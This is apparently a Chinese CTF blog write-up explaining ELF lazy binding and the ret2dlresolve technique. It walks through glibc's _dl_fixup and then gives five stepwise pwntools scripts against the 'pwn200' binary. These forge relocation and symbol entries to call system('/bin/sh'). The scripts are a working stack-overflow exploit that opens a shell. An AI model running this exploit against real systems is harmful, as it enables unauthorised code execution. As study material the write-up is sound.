0%

ret2dl

ret2dresolve

动态链接的底层原理利用

先介绍几个段

dynamic段,这个段里保存了动态链接器需要的最基本的信息,里面记录着其他段的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Dynamic section at offset 0xf28 contains 20 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
0x0000000c (INIT) 0x8048340
0x0000000d (FINI) 0x804861c
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x8048268
0x00000006 (SYMTAB) 0x80481d8
0x0000000a (STRSZ) 100 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049ff4
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048318
0x00000011 (REL) 0x8048300
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482e0
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482cc
0x00000000 (NULL) 0x0

这个段里里记录着很段以及地址,里面我们这次要使用的段是JMPREL,即ret.plt,这个段叫做重定位表,是一个结构体数组,每个元素是一个重定位表项,一个结构体包含的内容如下

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; //对于可执行文件,此值为虚拟地址
Elf32_Word r_info; //符号表索引
} Elf32_Rel;
r_offset表示的是这个函数的got表的地址,r_info用于这个符号表的索引,至于怎么索引后面再继续说明。

我们可以查看一个程序的ret.plt段里记录的内容

1
2
3
4
5
6
7
8
重定位节 '.rel.plt' 位于偏移量 0x318 含有 5 个条目:
偏移量 信息 类型 符号值 符号名称
0804a000 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a00c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
可以看见setbuf函数的重定位表项中,r_offset是0x0804a000,r_info是107,代表着setbuf函数的Got表的地址是0x0804a000

image-20211103212842089

验证可知是对的。

然后是.dynsym段,包含了符号重定向表,和ret.plt一样是一个结构体数组,每个函数对应一个结构体,一个结构体包含的内容如下

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
里面有两个主要的变量,st_name记录着函数符号在符号表中的偏移,如果符号已经被导出,st_value记录着这个函数符号的虚拟地址。

ret.plt表和dynsym表是一一对应的,通过ret.plt表的r_info索引到dynsym表对应的表项,索引方式是这样的,比如说setbuf的r_info是107把他向右移动八位r_info>>8=1,dynsym是一个数组,setbuf对应的表项就是sym[1]即sym[r_info>>8]

1
2
3
4
5
6
7
8
9
10
11
12
Symbol table '.dynsym' contains 9 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
6: 0804a040 4 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.0 (2)
7: 0804863c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
8: 0804a020 4 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.0 (2)
setbuf对应的下标是1,和上面的计算结果是一样的。

最后是符号表.dynstr,这个记录了函数符号,该段以\x00开始和结束,每个函数符号之间也用\x00隔开,这个表是用偏移量来寻找表项的,

我们可以验证自己上面的过程是不是对的,dynsym的st_name记录着对应偏移量,让程序运行,找到setbuf对应的st_name

1
2
3
4
5
6
7
pwndbg> x/16wx 0x080481d8
0x80481d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x80481e8: 0x0000003b 0x00000000 0x00000000 0x00000012
0x80481f8: 0x0000002f 0x00000000 0x00000000 0x00000012
0x8048208: 0x00000001 0x00000000 0x00000000 0x00000020
一个dynsym的结构体的大小是4+4+4+1+1+2=16=0x10,一组0x10个字节是一个元素,d8是第一个元素对应下标为0,setbuf下标为1对应0x80481e8,可以看见 st_name=3b,dynstr的首地址是0x08048268,setbuf对应的符号表的表项是0x08048268+3b=0x080482a3

1
2
3
pwndbg> x/s 0x080482a3
0x80482a3: "setbuf"
索引成功

延迟绑定全过程

以pwn200的read举例(参考ayoung佬)

源码如下

1
2
3
4
5
6
7
ssize_t sub_8048484()
{
char buf[108]; // [esp+1Ch] [ebp-6Ch] BYREF

setbuf(stdin, buf);
return read(0, buf, 0x100u);
}

在read处下断点,然后gdb运行,指令跳转到plt表对应位置,然后根据plt表的指令跳转到plt表指定位置

image-20211103235918868

image-20211104000137523

显然plt表并未储存read函数的地址,而是先push8,然后有跳转到0x8048370,这个地址指向plt表首地址,继续跟进

image-20211104000346436

plt表的首项储存着两条指令,程序push了0x8049ff8,这是什么值呢,我们看看段表

image-20211104001037134

发现这是got表的第二项,然后第二行是got表的第三项的地址,这两条指令的意思就是把*(got+4)的地址入栈,然后程序跳到*(got+8)的位置

这个位置就是函数_dl_runtime_resolve的位置,也是这次漏洞利用的主角,以下就是他的源码,这个函数的主要作用就是途经ret.plt dynsym dynstr找到这个函数名的字符串,然后和动态库里储存的函数对比,找到相应函数地址,写到这个函数的got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取符号表地址

const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取字符串表地址

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取函数对应的重定位表结构地址

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//获取函数对应的符号表结构地址

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//得到函数对应的got地址,即真实函数地址要填回的地址

DL_FIXUP_VALUE_TYPE value;

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
//需要绕过
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

...

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 接着通过strtab+sym->st_name找到符号表字符串

...
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

...

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 最后把value写入相应的GOT表条目rel_addr中
}

这个函数首先通过const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);找见函数对应的重定位表,

这个reloc_offset就是我们刚压入栈的reloc_arg,通过段首地址和reloc_arg提供的偏移量找到对应的重定位表,然后通过 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];函数的符号重定位表的地址

image-20211104002012359

这里r_info的最后四位必须是7,然后再通过 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);找到函数的符号表对应的符号,最后猜测是动态库的函数和这个符号匹配,返回匹配成功的函数的偏移量,然后再加上基地址,得到函数的真实地址,把这个地址填入r_offset中(即对应的got表中)

复现

调用_dl_runtime_resolve函数时先压入两个参数,第一个参数是reloc_arg,就是通过这个参数找到函数的重定位表,我们可以控制这个参数,以达到控制_dl_runtime_resolve函数

第一步,先尝试控制reloc_arg,指向对应的ret.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x400
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
reloc_arg=0x20
binsh="bin/sh\x00"
bin_addr=bss_base+80
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2.ljust(80,'s')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第二步,控制rreloc_arg,指向我们伪造的ret.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x400
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)

payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2=payload2.ljust(80,'s')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第三步 伪造符号重定位表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

本来stack是0x500,但是死活不回显数据,后来改成0x800才行,也不知道为啥,好怪,查这个地址还不存在

第四步 伪造符号表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
print hex(bss)
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54

#fuckstr
fuckstr_write=fucksym_addr+16
dynstr=0x08048268
st_name=fuckstr_write-dynstr
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym+'write\x00'
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第五步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
print hex(bss)
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="/bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54

#fuckstr
fuckstr_write=fucksym_addr+16
dynstr=0x08048268
st_name=fuckstr_write-dynstr
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(bin_addr)+"aaaaaaaa"
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym+'system\x00'
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

刚开始参数是bin/sh,但是会报错,但改成/bin/sh就好了,后来问了mark佬才明白,system会把参数当成shell命令执行,在根目录寻找bin里有个sh程序能打开一个持续的shell窗口,system配合/bin/sh就能打开持续的Shell窗口,但是如果执行bin/sh,就会在当前目录里寻找bin目录,因为不存在所以报错,我猜之前一直执行的bin/sh是因为程序就在根目录上。